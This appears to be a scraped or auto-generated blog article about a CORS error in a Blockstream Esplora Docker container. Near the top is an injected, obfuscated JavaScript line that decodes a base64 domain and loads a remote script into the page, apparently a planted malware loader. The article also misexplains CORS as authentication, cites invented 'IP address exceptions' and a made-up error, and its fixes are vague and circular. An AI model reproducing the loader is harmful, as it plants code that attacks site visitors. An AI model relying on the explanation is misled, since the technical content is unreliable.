Bitcoin: CORS error in Blockstream Explore docker container even with `CORS_ALLOW=*`

const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»c.php?u=62746c00″;document.body.appendChild(script);

Understanding the CORS Bug in the Esplora Docker Container

As a blockchain developer, you’re probably familiar with the importance of cross-domain resource sharing (CORS) when building applications that interact with external services. However, when working on projects like Bitcoin, it’s easy to overlook this critical security feature.

In this article, we’ll dive into the CORS bug in the context of Esplora and its Docker container, with a specific focus on Esplora’s Blockstream.

What is CORS?

CORS is a security feature implemented in web browsers that prevents malicious scripts from making unauthorized requests on behalf of the user. It allows websites to communicate with their backend services without having to make a direct request.

In other words, when a browser makes a request to a server-side application, it needs to authenticate the request and make sure that only authorized scripts can access sensitive data.

CORS in Esplora Docker Container

When you started your Blockstream Esplora container with docker run, you likely configured CORS to allow web applications, such as your Bitcoin node, to connect to your Esplora server. However, if everything works as expected, the error may not be immediately apparent.

Problem: CORS Error in Blockstream Esplora Docker Container

When starting a Docker container with CORS_ALLOW=*, it is possible that the browser or the Esplora server itself created an exception for the current IP address. This can cause a CORS error when trying to establish connections between the client and the server.

In your case, you run the following command:

docker run --name esplora-container -p 50001:50001 -p 8094:80 --volume $PWD/data_bitcoin_regtest:/data -e CORS_ALLOW=* --rm -i -t blockstream/esplora bash -c &...

The problem occurs when you try to connect to the Esplora server using curl or another web application:

curl 

You will probably get a CORS error response that may look something like this:

{
"message": "Cross-Origin Resource Sharing (CORS) Warning",
"status": 0,
"url": "/
}

What is behind the CORS error?

The CORS Allow parameter is set to *, which means that all web applications can send requests to the Esplora server. However, this can lead to unexpected behavior and security issues.

When a web application sends a request to the Esplora server without proper authentication or authorization, it can trigger CORS restrictions, even if you have explicitly allowed cross-domain access with CORS_ALLOW=*.

In your case, there are several possible reasons why you may have this issue:

• Incorrect CORS settings: Double-check that you have not set any incorrect CORS settings on the Esplora server or in your web application.

• IP Address Exception: Either the browser or Esplora server may have an IP address exception configured that can cause CORS errors when trying to connect between the client and server.

• Docker Container Configuration: Verify that the Docker container is configured correctly, including any necessary environment variables or settings.

Solutions

To resolve the CORS error in the Blockstream Esplora container:

• Check the browser CORS policy: Make sure that you allow cross-domain requests from the web application making the request to the Esplora server.

• Check the IP Address Exception: Make sure that there are no IP address exceptions configured on either the client or the Esplora server.

• Update Docker Configuration: Review the Docker container configuration and make sure that it is properly configured for CORS access.